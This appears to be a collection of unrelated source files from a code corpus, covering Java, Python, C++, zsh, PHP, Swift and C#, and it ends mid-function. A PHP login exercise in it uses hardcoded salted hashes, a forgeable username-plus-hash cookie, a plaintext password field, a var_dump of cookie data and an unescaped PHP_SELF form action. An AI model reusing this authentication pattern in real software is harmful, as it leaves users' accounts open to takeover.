package pl.kompikownia.pksmanager.security.infrastructure.namemapper; public class TokenFieldNames { public static final String HEADER_FIELD = "USER_CONTEXT"; public static final String AUTHORITIES_KEY = "permissions"; public static final String TOKEN_PREFIX = "Bearer"; }
Python
UTF-8
892
4.53125
5
[ "MIT" ]
permissive
""" This is a sample program to read in a file from the disk. In this example we keep track of the number of 1s, 0s and ''s """ # Import our system module import sys # Check for command line arguments (Our filename) if len(sys.argv) < 2: print "Usage: %s <tape filename>"%sys.argv[0] sys.exit(0) # Define our filename (From the command line argument) filename = sys.argv[1] # Open our file f = open(filename) # Define our variables to keep track of our counts ones = 0 zeros = 0 nothing = 0 # Loop over every line in the file for line in f: # Read value from line value = line.strip() if value == "1": ones += 1 elif value == "0": zeros += 1 elif value == "": nothing += 1 else: print "Found invalid character: %s"%value # Close our file f.close() # Print our answer print "I found %d ones, %d zeros, %d nothings"%(ones, zeros, nothing)
C++
UTF-8
1,250
3.53125
4
[]
no_license
// Given numRows, generate the first numRows of Pascal's triangle. // For example, given numRows = 5, // Return // [ // [1], // [1,1], // [1,2,1], // [1,3,3,1], // [1,4,6,4,1] // ] //https://leetcode.com/problems/pascals-triangle/description/ #include <vector> #include <queue> #include <string> #include <limits.h> #include <iostream> #include <algorithm> using namespace std; vector<vector<int> > generate(int numRows) { vector<vector<int> > result; vector<int> row; if(numRows == 0) { return result; } row.push_back(1); result.push_back(row); for (int i = 1; i < numRows; i++) { row.clear(); row.push_back(1); for(int j = 1; j <= i - 1; j++) { row.push_back(result[i - 1][j - 1] + result[i - 1][j]); // todo comments } row.push_back(1); result.push_back(row); } return result; } void print(vector<vector<int> > v) { for (int i = 0; i < v.size(); i++) { for (int j = 0; j < v[i].size(); j++) { printf("%d ", v[i][j]); } printf("\n"); } } void test1() { vector<vector<int> > result = generate(5); print(result); } int main() { test1(); return 0; }
Shell
UTF-8
8,425
2.546875
3
[ "Unlicense" ]
permissive
# Path to your oh-my-zsh installation. export ZSH="${HOME}/.dotfiles/oh-my-zsh" XDG_CONFIG_HOME="$HOME/.config" XDG_CACHE_HOME="$HOME/.cache" ZSH_CONFIG=~/.dotfiles/rcfiles/zsh # 10ms for key sequences KEYTIMEOUT=1 # Set name of the theme to load. # Look in ~/.oh-my-zsh/themes/ # Optionally, if you set this to "random", it'll load a random theme each # time that oh-my-zsh is loaded. #ZSH_THEME="agnoster" ZSH_THEME="bira" setopt COMPLETE_ALIASES # complete aliases before executing setopt NO_FLOW_CONTROL # deactvates XOFF setopt COMPLETE_ALIASES setopt INTERACTIVE_COMMENTS # allow inline comments like this one # allow inline comments like this one setopt HIST_VERIFY setopt PROMPT_BANG # enables '!' substituition on prompt setopt INC_APPEND_HISTORY setopt SHARE_HISTORY setopt COMPLETE_IN_WORD # Allow completion from within a word/phrase setopt ALWAYS_TO_END # Uncomment the following line to use case-sensitive completion. # CASE_SENSITIVE="true" # Uncomment the following line to disable bi-weekly auto-update checks. DISABLE_AUTO_UPDATE="true" # Uncomment the following line to change how often to auto-update (in days). # export UPDATE_ZSH_DAYS=13 # Uncomment the following line to disable colors in ls. # DISABLE_LS_COLORS="true" # Uncomment the following line to disable auto-setting terminal title. # DISABLE_AUTO_TITLE="true" # Uncomment the following line to enable command auto-correction. # ENABLE_CORRECTION="true" # Uncomment the following line to display red dots whilst waiting for completion. COMPLETION_WAITING_DOTS="true" # Uncomment the following line if you want to disable marking untracked files # under VCS as dirty. This makes repository status check for large repositories # much, much faster. DISABLE_UNTRACKED_FILES_DIRTY="true" # Uncomment the following line if you want to change the command execution time # stamp shown in the history command output. # The optional three formats: "mm/dd/yyyy"|"dd.mm.yyyy"|"yyyy-mm-dd" # HIST_STAMPS="mm/dd/yyyy" # Would you like to use another custom folder than $ZSH/custom? ZSH_CUSTOM=${HOME}/.dotfiles/rcfiles/zsh/custom # Which plugins would you like to load? (plugins can be found in ~/.oh-my-zsh/plugins/*) # Custom plugins may be added to ~/.oh-my-zsh/custom/plugins/ # Example format: plugins=(rails git textmate ruby lighthouse) # Add wisely, as too many plugins slow down shell startup. plugins=(git fasd extract systemd.plugin.zsh history-substring-search zsh-autosuggestions) #eval "$(fasd --init posix-alias zsh-hook )" eval "$(fasd --init posix-alias zsh-hook zsh-ccomp zsh-ccomp-install zsh-wcomp zsh-wcomp-install )" # trying to expand sudo at the begining bindkey '^i' expand-or-complete-prefix # in order to install auto-suggestions plugin # https://github.com/zsh-users/zsh-autosuggestions bindkey '^ ' autosuggest-accept bindkey '^Xw' expand-word # expande variáveis for f in $HOME/.dotfiles/rcfiles/zsh/functions/*(.N); source $f # testing completions # https://github.com/zsh-users/zsh-completions plugins+=(zsh-completions) plugins+=(python) autoload -U compinit && compinit setopt complete_in_word autoload -U zmv alias mmv='noglob zmv -W' # In Zsh ^W removes words delimited by whitespace. We are working in shell here though, # this should be more fine-grained. I like how it behave in b#ash - slashes, # dots and few other things are treated as delimiters too. You can achieve this behaviour in Zsh by simply: autoload -U select-word-style select-word-style bash # User configuration # export HISTIGNORE="&:ls:[bf]g:exit:reset:clear:cd:cd ..:cd.." export HISTIGNORE="&:ls:ll:la:l.:pwd:exit:clear:clr:[bf]g" setopt HIST_IGNORE_DUPS setopt SHARE_HISTORY setopt EXTENDED_HISTORY setopt INC_APPEND_HISTORY setopt HIST_IGNORE_ALL_DUPS setopt HIST_IGNORE_SPACE setopt HIST_REDUCE_BLANKS setopt HIST_VERIFY source $ZSH/oh-my-zsh.sh # If you end up using a directory as argument, # this will remove the trailing slash (usefull in ln) zstyle ':completion:*' squeeze-slashes true # HISTORY HISTSIZE=10000 SAVEHIST=9000 HISTFILE=~/.zsh_history # Use caching so that commands like apt and dpkg complete are useable zstyle ':completion::complete:*' use-cache on zstyle ':completion::complete:*' cache-path $ZSH_CACHE_DIR # Fuzzy matching of completions for when you mistype them: zstyle ':completion:*' completer _complete _match _approximate zstyle ':completion:*:match:*' original only zstyle ':completion:*:approximate:*' max-errors 1 numeric # And if you want the number of errors allowed by _approximate to # increase with the length of what you have typed so far: zstyle -e ':completion:*:approximate:*' \ max-errors 'reply=($((($#PREFIX+$#SUFFIX)/3))numeric)' zstyle ':completion:*:*:cd:*' ignored-patterns '(*/|)(CVS|SCCS)' zstyle ':completion::*:(cvs-add|less|rm|vi):*' ignore-line true zstyle ':completion:*' ignore-parents parent pwd zstyle ':completion:*:functions' ignored-patterns '_*' # completions made case insensitive #zstyle ':completion:*' matcher-list 'm:{a-z}={A-Z}' #zstyle ':completion:*' matcher-list 'r:|[._-]=* r:|=*' #zstyle ':completion:*' matcher-list 'r:|[._-]=* r:|=*' 'm:{a-zA-Z}={A-Za-z}' #zstyle ':completion:::::' completer _complete _prefix #zstyle ':completion::prefix:::' completer _complete zstyle ':completion::*:::' completer _complete _prefix zstyle ':completion:*:warnings' format 'Too bad there is nothing' ZSH_CACHE_DIR=${HOME}/.zsh.d/cache mkdir -p ${ZSH_CACHE_DIR} # You may need to manually set your language environment # export LANG=en_US.UTF-8 # Preferred editor for local and remote sessions # if [[ -n $SSH_CONNECTION ]]; then # export EDITOR='vim' # else # export EDITOR='mvim' # fi # Compilation flags # export ARCHFLAGS="-arch x86_64" # ssh # export SSH_KEY_PATH="~/.ssh/dsa_id" # Set personal aliases, overriding those provided by oh-my-zsh libs, # plugins, and themes. Aliases can be placed here, though oh-my-zsh # users are encouraged to define aliases within the ZSH_CUSTOM folder. # For a full list of active aliases, run `alias`. source ~/.dotfiles/rcfiles/zsh/aliases # emacs mode bindkey -e autoload -z edit-command-line zle -N edit-command-line bindkey "^X^E" edit-command-line bindkey '^xe' edit-command-line bindkey '^b' push-line-or-edit bindkey '\eb' push-line-or-edit insert-history-line() { LBUFFER="$LBUFFER\$(${history[$((HISTNO-1))]})" } zle -N insert-history-line insert-history-line bindkey '^[e' insert-history-line insert-history-line() { LBUFFER="$LBUFFER\$(${history[$((HISTNO-1))]})" } zle -N insert-history-line insert-history-line bindkey '^[e' insert-history-line # getting git status function _git-status { zle kill-whole-line zle -U "git status" zle accept-line } zle -N _git-status bindkey '\eg' _git-status # strg+x,s adds sudo to the line # Zsh Buch p.159 - http://zshbuch.org/ run-with-sudo() { LBUFFER="sudo $LBUFFER" } zle -N run-with-sudo bindkey '^Xs' run-with-sudo bindkey "^R" history-incremental-pattern-search-backward bindkey "^S" history-incremental-pattern-search-forward # source: http://goo.gl/HUXBjG globalias() { if [[ $LBUFFER =~ ' [A-Z0-9]+$' ]]; then zle _expand_alias zle expand-word fi zle self-insert } zle -N globalias bindkey ' ' globalias # expande aliases globais bindkey '^X ' magic-space # control-space to bypass completion bindkey -M isearch " " magic-space # normal space during searches bindkey -s '\eu' 'cd ..^j' # alt-u up dir # source: http://stackoverflow.com/questions/171563/whats-in-your-zshrc # I often build elaborate commands step by step: I run a command, # see I need a different option, then use the output of the same # command within # $() (the portable version of backquotes) in a # for loop or something. The following snippet makes alt-E (I # should probably write meta-E?) insert the previous line # between $(). insert-history-line() { LBUFFER="$LBUFFER\$(${history[$((HISTNO-1))]})" } zle -N insert-history-line insert-history-line bindkey '^[e' insert-history-line # quote pasted URLs # it seems kind of uncompatible with substring-search autoload -Uz url-quote-magic zle -N self-insert url-quote-magic autoload -Uz bracketed-paste-magic zle -N bracketed-paste bracketed-paste-magic # firefox improviments # disalbe rendering fonts in firefox to free memory export MOZ_DISABLE_PANGO='1' export OOO_FORCE_DESKTOP=gnome # For OpenOffice to look more gtk-friendly.
PHP
UTF-8
2,091
2.90625
3
[]
no_license
<?php $users[] = array('username' => 'info@test.be', 'salt' => '56a', 'password' => '95df3d1cc1f45f250ce23bed4dfe3e35997c959f3226a1beec088a0d9dac945607eb15388708a79460b9331701d5fa319f0aec39991d9fafc20a61238d876f3f'); $users[] = array('username' => 'test@kdg.be', 'salt' => 'azerty', 'password' => '9cdd280f56bc8731f10b18993b20d9802c3082d35636c3ca629a9972dd6bdbdf1e09ab90a6bd7e6f99e6cce559eebe11d24799aa00eaba0c42bd613ba5511b00'); //unieke salt geven aan gebruiker, voorkomt dat users met hetzelfde password worden gehackt $loggedIn = false; $username = false; $password = false; $userIsValid = false; $authentication = false; $salt = false; if(isset($_COOKIE['loggedIn'])) { $cookiedata = explode('##', $_COOKIE['loggedIn']); var_dump($cookiedata); $usernameCookie = $cookiedata['0']; $hashedUsernameCookie = $cookiedata['1']; foreach ($users as $user) { if($user['username'] == $cookiedata[0]) { $hashedUsername = hash('sha512', $user['salt'] . $user['username']); if($hashedUsername == $hashedUsernameCookie) { $loggedIn = true; } } } } else { if(isset($_POST['submit'])) { $authentication = true; $username = $_POST[ 'username' ]; $password = $_POST['password']; } if($username && $password) { foreach ($users as $user) { $hashedAndSaltedPassword = hash('sha512', $user['salt'] . $password); if($user['username'] == $username && $user['password'] == $hashedAndSaltedPassword) { $salt = $user['salt']; $userIsValid = true; } } } if($authentication && $userIsValid) { $hashedUsername = hash('sha512', $salt . $username); $cookieValue = $username ."##" . $hashedUsername; setcookie('loggedIn', $cookieValue, time() + 60); header('location: test-security.php'); } } ?> <!doctype html> <html> <head> </head> <body> <?php if($loggedIn): ?> <p>U bent correct ingelogd.</p> <?php else: ?> <?php if($authentication): ?> <?= ($userIsValid) ? "" : "Username & password niet geldig" ?> <?php endif ?> <form action="<?= $_SERVER['PHP_SELF'] ?>" method="POST"> <input type="text" name="username"/> <input type="text" name="password"/> <input type="submit" name="submit"/> </form> <?php endif ?> </body> </html>
Python
UTF-8
724
3.515625
4
[]
no_license
from stack import Stack import operator OPS = { "+": operator.add, "-": operator.sub, "*": operator.mul, "/": operator.itruediv } def do_math(token, op1, op2): return OPS[token](int(op1), int(op2)) def calculate_postfix(input_expression): token_list, operand_stack = input_expression.split(), Stack() for token in token_list: if token.isalnum(): operand_stack.push(token) else: operand_2 = operand_stack.pop() operand_1 = operand_stack.pop() result = do_math(token, operand_1, operand_2) operand_stack.push(result) return operand_stack.pop() if __name__ == "__main__": print(calculate_postfix(input()))
Swift
UTF-8
1,118
2.9375
3
[]
no_license
// // ViewController.swift // Dicee // // Created by Rudi Wijaya on 18/02/19. // Copyright © 2019 Rudi Wijaya. All rights reserved. // import UIKit class ViewController: UIViewController { @IBOutlet weak var dice1: UIImageView! @IBOutlet weak var dice2: UIImageView! let diceImages : [String] = ["dice1", "dice2", "dice3", "dice4", "dice5", "dice6"]; var valueDice1: Int = 0; var valueDice2: Int = 0; override func viewDidLoad() { super.viewDidLoad() randomAndUpdateDices(); } @IBAction func doRoll(_ sender: UIButton) { randomAndUpdateDices(); } override func motionEnded(_ motion: UIEvent.EventSubtype, with event: UIEvent?) { if motion == UIEvent.EventSubtype.motionShake { randomAndUpdateDices(); } } func randomAndUpdateDices() { valueDice1 = Int.random(in: 0...5); valueDice2 = Int.random(in: 0...5); self.dice1.image = UIImage(named: diceImages[valueDice1]); self.dice2.image = UIImage(named: diceImages[valueDice2]); } }
PHP
UTF-8
1,187
2.53125
3
[]
no_license
<?php declare(strict_types=1); namespace AL\PhpWndb\Tests\Model\Relations; use AL\PhpWndb\Model\Relations\RelationPointerInterface; use AL\PhpWndb\Model\Relations\RelationPointerFactory; use AL\PhpWndb\Model\Relations\RelationPointerTypeEnum; use AL\PhpWndb\Tests\BaseTestAbstract; use AL\PhpWndb\PartOfSpeechEnum; class RelationPointerFactoryTest extends BaseTestAbstract { public function testCreateRelationPointer(): void { $pointerType = RelationPointerTypeEnum::HYPONYM(); $targetPartOfSpeech = PartOfSpeechEnum::NOUN(); $targetSynsetOffset = 1005; $targetWordIndex = 30; $factory = new RelationPointerFactory(); $relationPointer = $factory->createRelationPointer( $pointerType, $targetPartOfSpeech, $targetSynsetOffset, $targetWordIndex ); static::assertInstanceOf(RelationPointerInterface::class, $relationPointer); static::assertEnum($pointerType, $relationPointer->getPointerType()); static::assertEnum($targetPartOfSpeech, $relationPointer->getTargetPartOfSpeech()); static::assertSame($targetSynsetOffset, $relationPointer->getTargetSynsetOffset()); static::assertSame($targetWordIndex, $relationPointer->getTargetWordIndex()); } }
Java
UTF-8
328
2.09375
2
[]
no_license
package com.example.rabbitmqmsg.model.dto; import lombok.Getter; import lombok.Setter; @Getter @Setter public class MessageModelDto { String title; String body; public MessageModelDto() { } public MessageModelDto(String title, String body) { this.title = title; this.body = body; } }
C++
UTF-8
1,169
2.71875
3
[ "MIT" ]
permissive
#include<iostream> #include<iomanip> using namespace std; int n; double p_not[10001] , p_have[10001]; double f[10001]; double g[10001]; double F(int i , int j) { return 1 + f[i - j] + p_have[j] * g[j]; } double G(int i , int j) { double prob = p_have[j] / p_have[i]; return 1 + prob * (g[j] + f[i - j]) + (1.0 - prob) * g[i - j]; } double solve(int _n , double _p) { n = _n; p_not[0] = 1; p_not[1] = 1.0 - _p; for(int i = 2 ; i <= n ; i++) p_not[i] = p_not[i-1] * p_not[1]; for(int i = 0 ; i <= n ; i++) p_have[i] = 1.0 - p_not[i]; f[0] = 0; f[1] = 1; g[1] = 0; g[0] = 0; for(int i = 2 ; i <= n ; i++) { f[i] = 1e10 , g[i] = 1e10; for(int j = 1 ; j < i ; j++) g[i] = min(g[i] , G(i , j)); for(int j = 1 ; j <= i ; j++) f[i] = min(f[i] , F(i , j)); } return f[n]; } int main() { cout << fixed << setprecision(6); double ans = 0; for(int p = 1 ; p <= 50 ; p ++) ans += solve(10000 , 0.01 * p); cout << ans << endl; system("pause"); return 0; }
Java
UTF-8
135
1.671875
2
[]
no_license
package com.feng.car.view.slidebanner.listener; @Deprecated public interface OnBannerClickListener { void OnBannerClick(int i); }
C#
UTF-8
1,793
3.140625
3
[ "MIT" ]
permissive
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading; namespace Xero.Api.Infrastructure.RateLimiter { public class RateLimiter : IRateLimiter { private readonly TimeSpan _duration; private readonly int _qty; private readonly Queue<DateTime> rateLimiter; /// <summary> /// Create an instance of this class that allows x requests over y seconds /// </summary> /// <param name="duration"></param> /// <param name="qty"></param> public RateLimiter(TimeSpan duration, int qty) { this._duration = duration; this._qty = qty; this.rateLimiter = new Queue<DateTime>(qty); } public RateLimiter() : this(TimeSpan.FromMinutes(1), 60) { } /// <summary> /// Don't return from this method until we're back under the limit /// </summary> public void WaitUntilLimit() { while (rateLimiter.Count >= _qty) { var diff = rateLimiter.Peek().Add(_duration) - DateTime.UtcNow; if (diff.TotalMilliseconds > 0) Thread.Sleep((int)diff.TotalMilliseconds + 1000); rateLimiter.Dequeue(); } rateLimiter.Enqueue(DateTime.UtcNow); } /// <summary> /// Check whether we've used up all of the allocation /// </summary> /// <returns>True if we're over the limit, false if we've got some allocation left</returns> public bool CheckLimit() { return (rateLimiter.Count >= _qty && rateLimiter.Peek().Add(_duration) > DateTime.UtcNow); } } }
Swift
UTF-8
1,387
3.078125
3
[ "MIT" ]
permissive
// // Constructors.swift // // // Created by Giovanni Noa on 5/9/20. // import Foundation /// Codable struct, used for serializing JSON from the Constructors endpoint. public struct Constructors: Codable { public let data: ConstructorsData private enum CodingKeys: String, CodingKey { case data = "MRData" } } public struct ConstructorsData: Codable { public let xmlns: String public let series: String public let url: String public let limit: String public let offset: String public let total: String public let constructorTable: ConstructorTable private enum CodingKeys: String, CodingKey { case xmlns case series case url case limit case offset case total case constructorTable = "ConstructorTable" } } public struct ConstructorTable: Codable { public let season: String? public let constructors: [Constructor] private enum CodingKeys: String, CodingKey { case season case constructors = "Constructors" } } public struct Constructor: Codable { public let constructorID: String public let url: String public let name: String public let nationality: String private enum CodingKeys: String, CodingKey { case constructorID = "constructorId" case url case name case nationality } }
Swift
UTF-8
12,328
2.59375
3
[]
no_license
// // SceneAutomationFlowConfigurator.swift // Aether // // Created by Bruno Pastre on 26/10/20. // Copyright © 2020 Bruno Pastre. All rights reserved. // import UIKit import MapKit import HomeKit protocol SceneAutomationFlowConfiguratorDelegate: AnyObject { func userInputDidChange(_ view: SceneAutomationFlowConfigurator, to userInput: SceneUserInput) func presentLocationPickerView(_ delegate: LocationPickerDelegate) func presentationModeDidChange(_ view: SceneAutomationFlowConfigurator, to presentationMode: SceneAutomationFlowConfigurator.PresentationMode) } class SceneAutomationFlowConfigurator: UIView, TimePickerDelegate, SwitchOptionViewDelegate, DayOfTheWeekPickerDelegate, LocationPickerDelegate, AccessoryPickerViewDelegate, MetadataPickerViewDelegate { typealias strings = AEStrings.SceneAutomationFlowConfigurator struct Option { var trailingLabel: UILabel var option: Configuration } enum Configuration: CaseIterable { case location case time case accessory case metadata } enum PresentationMode { case folded case `default` } weak var delegate: SceneAutomationFlowConfiguratorDelegate? let titleLabel: UILabel = { let label = UILabel() label.translatesAutoresizingMaskIntoConstraints = false label.textAlignment = .center label.numberOfLines = 0 label.textColor = ColorManager.lighterColor label.font = label.font.withWeight(.bold).withSize(14) label.heightAnchor.constraint(equalToConstant: 58).isActive = true return label }() private let optionsStackView: UIStackView = { let view = UIStackView() view.axis = .vertical view.distribution = .equalSpacing view.alignment = .fill view.translatesAutoresizingMaskIntoConstraints = false return view }() private lazy var titleLabelHiddenConstraint: NSLayoutConstraint = titleLabel.heightAnchor.constraint(equalToConstant: 0) private var configurations: [Configuration] private var options: [Option] = [] private var optionsViews: [UIView] = [] var userInput: SceneUserInput = .init() { didSet { delegate?.userInputDidChange(self, to: userInput) } } var presentationMode: PresentationMode = .default { didSet { delegate?.presentationModeDidChange(self, to: presentationMode) } } init(_ configurations: [Configuration], title: String) { self.configurations = configurations super.init(frame: .zero) translatesAutoresizingMaskIntoConstraints = false if configurations.contains(.location) { buildLocationPicker() } if configurations.contains(.time) { buildTimePicker() buildWeekdayPicker() } if configurations.contains(.accessory) { buildAccessoryPicker() } if configurations.contains(.metadata) { buildMetadataPicker() } titleLabel.text = title addSubviews() setupDefaultState() addConstrains() } // MARK: - Layout private func addSubviews() { addSubview(optionsStackView) addSubview(titleLabel) } private func setupFoldedState() { var labels: [UILabel] = [] func configureLabels() { labels.forEach { self.optionsStackView.addArrangedSubview($0) } self.optionsStackView.spacing = 5 self.titleLabelHiddenConstraint.isActive = true } if configurations.contains(.accessory) { labels.append(buildResultLabel( title: strings.Label.accessories, triggerName: self.userInput.accessories.map { $0.accessory.name }.joined(separator: ", ") )) configureLabels() return } labels.append(buildResultLabel( title: userInput.timeLabel().title, triggerName: userInput.timeLabel().trigger )) labels.append(buildResultLabel( title: userInput.daysLabel().title, triggerName: userInput.daysLabel().trigger )) userInput.locationLabel { (description) in labels.insert( self.buildResultLabel( title: description.title, triggerName: description.trigger ), at: 0 ) configureLabels() } } private func setupDefaultState() { optionsStackView.spacing = 20 optionsViews.forEach { optionsStackView.addArrangedSubview($0) } titleLabelHiddenConstraint.isActive = false } private func addConstrains() { optionsStackView.leadingAnchor.constraint( equalTo: leadingAnchor ).isActive = true optionsStackView.trailingAnchor.constraint( equalTo: trailingAnchor ).isActive = true optionsStackView.bottomAnchor.constraint( equalTo: bottomAnchor ).isActive = true titleLabel.topAnchor.constraint( equalTo: topAnchor ).isActive = true titleLabel.centerXAnchor.constraint( equalTo: centerXAnchor ).isActive = true titleLabel.widthAnchor.constraint( equalTo: widthAnchor, multiplier: 0.7 ).isActive = true titleLabel.bottomAnchor.constraint( equalTo: optionsStackView.topAnchor, constant: -20 ).isActive = true } private func buildTimePicker() { let optionView = SwitchOptionView(title: strings.SwitchOptionView.time) let pickerView = TimePicker() let configView = ConfigurationView( configuration: .time, optionView: optionView, pickerView: pickerView ) pickerView.delegate = self optionView.delegate = self optionsViews.append(configView) } private func buildWeekdayPicker() { let optionView = SwitchOptionView(title: strings.SwitchOptionView.days) let pickerView = DayOfTheWeekPicker() let config = ConfigurationView( configuration: .time, optionView: optionView, pickerView: pickerView ) pickerView.delegate = self optionView.delegate = self optionsViews.append(config) } private func buildLocationPicker() { let optionView = SwitchOptionView(title: strings.SwitchOptionView.location) let config = ConfigurationView( configuration: .location, optionView: optionView ) optionView.delegate = self optionsViews.append(config) } private func buildAccessoryPicker() { let pickerView = AccessoryPickerView() let config = ConfigurationView( configuration: .accessory, pickerView: pickerView, shouldHidePickerView: false ) pickerView.delegate = self optionsViews.append(config) } private func buildMetadataPicker() { let pickerView = MetadataPickerView() let config = ConfigurationView( configuration: .accessory, pickerView: pickerView, shouldHidePickerView: false ) pickerView.delegate = self optionsViews.append(config) } private func buildResultLabel(title: String, triggerName: String) -> UILabel { let label: UILabel = .init() let tapGesture: UITapGestureRecognizer = .init(target: self, action: #selector(didTapLabel)) let leadingString = NSMutableAttributedString( string: title + ": ", attributes:[ NSAttributedString.Key.foregroundColor : ColorManager.lighterColor, NSAttributedString.Key.font : UIFont.systemFont(ofSize: 15) ] ) let triggerString = NSMutableAttributedString( string: triggerName, attributes: [ NSAttributedString.Key.foregroundColor : ColorManager.highlightColor, NSAttributedString.Key.font : UIFont.boldSystemFont(ofSize: 15) ] ) leadingString.append(triggerString) label.attributedText = leadingString label.textAlignment = .center label.numberOfLines = 0 label.isUserInteractionEnabled = true label.addGestureRecognizer(tapGesture) return label } // MARK: - TimePicker delegate func onTimeChanged(date: Date) { userInput.time = date } // MARK: - DayOfTheWeekPicker delegate func onDaysChanged(to days: [String]) { userInput.days = days } // MARK: - LocationPicker delegate func didChangeLocation(to coordinate: MKCoordinateRegion?) { userInput.location = coordinate updateCoordinate() } func onDismiss() { updateCoordinate() } // MARK: - AccessoryPickerViewDelegate func addAccessory(accessory: AccessoryPickerModel) { userInput.accessories.append(accessory) } func updateAccessory(accessory: AccessoryPickerModel) { removeAccessory(accessory: accessory) addAccessory(accessory: accessory) } func removeAccessory(accessory: AccessoryPickerModel) { userInput.accessories.removeAll(where: { $0.accessory == accessory.accessory }) } // MARK: - Metadata picker delegate methods func didChangeName(to newName: String?) { userInput.name = newName } func didChangeIcon(to newIcon: CustomRoom) { userInput.icon = newIcon } // MARK: - Helpers private func updateCoordinate() { guard let locationView = optionsStackView.arrangedSubviews.compactMap { $0 as? ConfigurationView }.filter({ $0.configuration == .location}).first, let optionView = locationView.optionView as? SwitchOptionView else { return } optionView.trailingSwitch.setOn(userInput.location != nil, animated: true) } // MARK: - SwitchOptionViewDelegate func onToggleChange(_ optionView: SwitchOptionView) { self.optionsStackView.arrangedSubviews.forEach { guard let view = $0 as? ConfigurationView, view.optionView == optionView else { return } let isDayOfTheWeek = view.pickerView is DayOfTheWeekPicker let isTimePicker = view.pickerView is TimePicker let isLocationPicker = view.configuration == .location let isOn = optionView.isSwitchOn() if isLocationPicker { if isOn { delegate?.presentLocationPickerView(self) } userInput.locationEnabled = isOn return } view.pickerView?.isHidden = !isOn if isDayOfTheWeek { if !isOn { } userInput.daysEnabled = isOn } if isTimePicker { userInput.timeEnabled = isOn } } } // MARK: - Presentation mode modifiers func updatePresentationMode(to presentationMode: PresentationMode) { guard presentationMode != self.presentationMode else { return } self.presentationMode = presentationMode self.optionsStackView.arrangedSubviews.forEach { $0.removeFromSuperview() } switch presentationMode { case .folded: setupFoldedState() case .default: setupDefaultState() } } // MARK: - Callbacks @objc func didTapLabel() { updatePresentationMode(to: .default) } @available(*, unavailable) required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } }
C++
UTF-8
548
2.625
3
[]
no_license
#include<bits/stdc++.h> using namespace std; int main() { long long int t,c=0,w,i,x,y; cin>>t; while(t--) { c++; cin>>w; if(w%2!=0) { cout<<"Case "<<c<<": "<<"Impossible"<<endl; continue; } for(i=2; i<w; i+=i) { if(w%i==0&&((w/i)*i)==w && (w/i)%2!=0) { x=w/i; y=i; break; } } cout<<"Case "<<c<<": "<<x<<" "<<y<<endl; } return 0; }
Python
UTF-8
8,569
2.6875
3
[ "MIT" ]
permissive
import sys import warnings if not sys.warnoptions: warnings.simplefilter('ignore') import numpy as np import re import random from scipy.linalg import svd from operator import itemgetter from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.decomposition import NMF, LatentDirichletAllocation from .texts._text_functions import ( summary_textcleaning, classification_textcleaning, STOPWORDS, ) from .stem import sastrawi from ._models._skip_thought import load_model from .cluster import cluster_words def deep_model(): """ Load skip-thought summarization deep learning model. Returns ------- DEEP_SUMMARIZER: malaya.skip_thought.DEEP_SUMMARIZER class """ return load_model() def lsa( corpus, maintain_original = False, top_k = 3, important_words = 3, return_cluster = True, **kwargs ): """ summarize a list of strings using LSA. Parameters ---------- corpus: list maintain_original: bool, (default=False) If False, will apply malaya.text_functions.classification_textcleaning top_k: int, (default=3) number of summarized strings important_words: int, (default=3) number of important words return_cluster: bool, (default=True) if True, will cluster important_words to similar texts Returns ------- dictionary: result """ assert isinstance(corpus, list) and isinstance( corpus[0], str ), 'input must be list of strings' assert isinstance( maintain_original, bool ), 'maintain_original must be a boolean' assert isinstance(top_k, int), 'top_k must be an integer' assert isinstance( important_words, int ), 'important_words must be an integer' assert isinstance(return_cluster, bool), 'return_cluster must be a boolean' corpus = [summary_textcleaning(i) for i in corpus] corpus = ' '.join(corpus) splitted_fullstop = re.findall('(?=\S)[^.\n]+(?<=\S)', corpus) splitted_fullstop = [ classification_textcleaning(i) if not maintain_original else i for i in splitted_fullstop if len(i) ] stemmed = [sastrawi(i) for i in splitted_fullstop] tfidf = TfidfVectorizer( ngram_range = (1, 3), min_df = 2, stop_words = STOPWORDS, **kwargs ).fit(stemmed) U, S, Vt = svd(tfidf.transform(stemmed).todense().T, full_matrices = False) summary = [ (splitted_fullstop[i], np.linalg.norm(np.dot(np.diag(S), Vt[:, b]), 2)) for i in range(len(splitted_fullstop)) for b in range(len(Vt)) ] summary = sorted(summary, key = itemgetter(1)) summary = dict( (v[0], v) for v in sorted(summary, key = lambda summary: summary[1]) ).values() summarized = '. '.join([a for a, b in summary][len(summary) - (top_k) :]) indices = np.argsort(tfidf.idf_)[::-1] features = tfidf.get_feature_names() top_words = [features[i] for i in indices[:important_words]] if return_cluster: return { 'summary': summarized, 'top-words': top_words, 'cluster-top-words': cluster_words(top_words), } return {'summary': summarized, 'top-words': top_words} def nmf( corpus, maintain_original = False, top_k = 3, important_words = 3, return_cluster = True, **kwargs ): """ summarize a list of strings using NMF. Parameters ---------- corpus: list maintain_original: bool, (default=False) If False, will apply malaya.text_functions.classification_textcleaning top_k: int, (default=3) number of summarized strings important_words: int, (default=3) number of important words return_cluster: bool, (default=True) if True, will cluster important_words to similar texts Returns ------- dictionary: result """ assert isinstance(corpus, list) and isinstance( corpus[0], str ), 'input must be list of strings' assert isinstance( maintain_original, bool ), 'maintain_original must be a boolean' assert isinstance(top_k, int), 'top_k must be an integer' assert isinstance( important_words, int ), 'important_words must be an integer' assert isinstance(return_cluster, bool), 'return_cluster must be a boolean' corpus = [summary_textcleaning(i) for i in corpus] corpus = ' '.join(corpus) splitted_fullstop = re.findall('(?=\S)[^.\n]+(?<=\S)', corpus) splitted_fullstop = [ classification_textcleaning(i) if not maintain_original else i for i in splitted_fullstop if len(i) ] stemmed = [sastrawi(i) for i in splitted_fullstop] tfidf = TfidfVectorizer( ngram_range = (1, 3), min_df = 2, stop_words = STOPWORDS, **kwargs ).fit(stemmed) densed_tfidf = tfidf.transform(stemmed).todense() nmf = NMF(len(splitted_fullstop)).fit(densed_tfidf) vectors = nmf.transform(densed_tfidf) components = nmf.components_.mean(axis = 1) summary = [ ( splitted_fullstop[i], np.linalg.norm(np.dot(np.diag(components), vectors[:, b]), 2), ) for i in range(len(splitted_fullstop)) for b in range(len(vectors)) ] summary = sorted(summary, key = itemgetter(1)) summary = dict( (v[0], v) for v in sorted(summary, key = lambda summary: summary[1]) ).values() summarized = '. '.join([a for a, b in summary][len(summary) - (top_k) :]) indices = np.argsort(tfidf.idf_)[::-1] features = tfidf.get_feature_names() top_words = [features[i] for i in indices[:important_words]] if return_cluster: return { 'summary': summarized, 'top-words': top_words, 'cluster-top-words': cluster_words(top_words), } return {'summary': 